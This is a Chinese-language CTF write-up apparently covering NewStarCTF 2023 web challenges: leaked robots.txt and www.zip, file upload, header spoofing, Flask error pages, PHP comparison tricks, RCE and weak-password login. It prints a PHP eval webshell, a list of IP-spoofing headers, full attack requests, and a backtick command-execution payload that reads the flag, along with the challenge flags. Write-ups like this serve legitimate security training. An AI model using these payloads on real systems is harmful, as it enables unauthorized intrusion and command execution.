泄露的秘密

提示:粗心的管理员泄漏了一些敏感信息,请你找出他泄漏的两个敏感信息!

访问/robot.txt,获得第一部分flag

另一部分是www.zip,下载解压得到index.php

<?php
$PART_TWO = "_4nd_www.zip_1s_s0_d4ng3rous}";
echo "<h1>粗心的管理员泄漏了一些敏感信息,请你找出他泄漏的两个敏感信息!</h1>";

FLAG:flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}

Begin of Upload

绕过客户端 JavaScript检验,上传一句话木马burpsuite修改文件名后缀即可

//一句话木马内容
<?php @eval($_POST['cmd']);?>

蚁剑连接,得到FLAG

Begin of HTTP

前面的都非常简单,类似这种,根据题目提示修改请求头参数就行

来到最后一步

第一时间想到改X-Forwarded-For为127.0.0.1,结果不行

上网查询后,发现有很多种方法可以进行请求ip伪造

X-Forwarded-For:127.0.0.1

X-Forwarded:127.0.0.1

Forwarded-For:127.0.0.1

Forwarded:127.0.0.1

X-Forwarded-Host:127.0.0.1

X-remote-IP:127.0.0.1

X-remote-addr:127.0.0.1

True-Client-IP:127.0.0.1

X-Client-IP:127.0.0.1

Client-IP:127.0.0.1

X-Real-IP:127.0.0.1

Ali-CDN-Real-IP:127.0.0.1

Cdn-Src-Ip:127.0.0.1

Cdn-Real-Ip:127.0.0.1

CF-Connecting-IP:127.0.0.1

X-Cluster-Client-IP:127.0.0.1

WL-Proxy-Client-IP:127.0.0.1

Proxy-Client-IP:127.0.0.1

Fastly-Client-Ip:127.0.0.1

True-Client-Ip:127.0.0.1

Host: 127.0.0.1

X-Originating-IP: 127.0.0.1

一个一个试,最后使用的是 X-Real-IP:127.0.0.1

burpsuite发送payLoad

POST /?ctf=111 HTTP/1.1
Host: node4.buuoj.cn:26965
User-Agent:NewStarCTF2023
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: newstarctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: [http://node4.buuoj.cn:26965](http://node4.buuoj.cn:26965/)
Connection: close
Cookie: power=ctfer
Upgrade-Insecure-Requests: 1
X-Client-IP: 127.0.0.1

secret=n3wst4rCTF2023g00000d

结果:

ErrorFlask

进入,看到页面

url输入

http://12292bef-a6d9-4fad-9d18-a99ee1cc7a03.node4.buuoj.cn:81/?number1=1&number2=3

回显

url输入以下进入报错页面

http://fd392ec2-b64c-468a-8242-d1b80e5af4d2.node4.buuoj.cn:81/?number2=a&number1=3

flag就在报错页面里面,ctrl+f搜flag即可

Begin of PHP

源码如下

 <?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}

if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}

if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}

if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}

if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}

根据源码分析Level1~Level5

  • Level1

    考察PHP弱比较特性,直接传数组?key1[]=1&key2[]=2

  • Level2

    PHP强比较,md5(),sha1()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。所以直接 POST传参key3[]=1

  • Level3

    **strcmp()**如果比较的是数组的话,直接返回一个0。所以传数组key4[]=4

  • Level4

    这里限制key5不能传数字,但是如果key5传入字符串2024key5的话,PHP会将字符串前面是数字的部分解析成数字

  • Level5

    考察PHP的extract()函数,根据正则过滤规则,只要POST传入flag5并且flag5不是数字或字母且不为空即可

    extract(array,[EXTR_SKIP/EXTR_OVERWRITE]) : 第一个参数是 数组,该函数的功能是将一个数组中的键名拿出来当做 变量名,将键值拿出来当做变量的值,即 创建变量 , 第二参数, EXTR_SKIP :如果创建的变量已存在,则不进行创建,EXTR_OVERWRITE:如果创建的变量已存在,则覆盖原有变量;

根据以上分析构造payLoad得到FLAG

//GET传参
?key1[]=1&key2[]=2&key4[]=4&key5=2024key5

//POST传参
key3[]=3&flag5=!

R!C!E!

POST传参passworde_v.a.l,第一个判断条件为上传的password参数的MD5值前六位为c4d038;第二个是PHP变量名解析特性和简单的命令执行过滤

对于password,使用简单的Python脚本可以爆破出来,是114514

import hashlib

prefix = "c4d038" # 目标MD5值的前六位
prefix_bytes = prefix.encode() # 将前缀转换为字节串

for i in range(100000000):
b = i.to_bytes(22, 'big')
m = hashlib.md5(str(i).encode()).hexdigest()

if m.startswith(prefix):
print(i)
print(m)
break

使用var_dump反引号(内联执行)还有more绕过

password=114514&e[v.a.l=var_dump(`more /f*`);

EasyLogin

注册了一个账户user1,密码666666。登录时抓包查看,中间跳转到一个PHP页面,有提示

<!-- 恭喜你找到flag -->
<!-- flag 为下方链接中视频简介第7行开始至第10行的全部小写字母和数字 -->
<!-- https://b23.tv/BV1SD4y1J7uY -->
<!-- 庆祝一下吧! -->

里面真的有FLAG(Never Gonna Give You Up~~~

使用注册的账号登录进去,是一个chat页面,Ctrl+C然后Ctrl+D退出到命令界面,查看目录,发现有admin目录,但是里面没有东西,猜测可能存在admin管理员用户

输入exit退出到登录页面,根据题目EasyLogin猜测可能密码是弱口令,于是用bp爆破密码,注意有效载荷处理使用MD5编码

有一个请求的响应长度不同

使用admin账号时抓包,将pw替换成刚刚破解出的MD5值

POST /signin.php HTTP/1.1
Host: node4.buuoj.cn:27830
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Origin: http://node4.buuoj.cn:27830
Connection: close
Referer: www.google.com
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0

un=admin&pw=670b14728ad9902aecba32e22fa4f6bd&rem=0

登录进去后以为找到FLAG,但是依然找不到

想到刚开始登录时会跳转到一个PHP界面,于是重发那个PHP页面,果然响应中有FLAG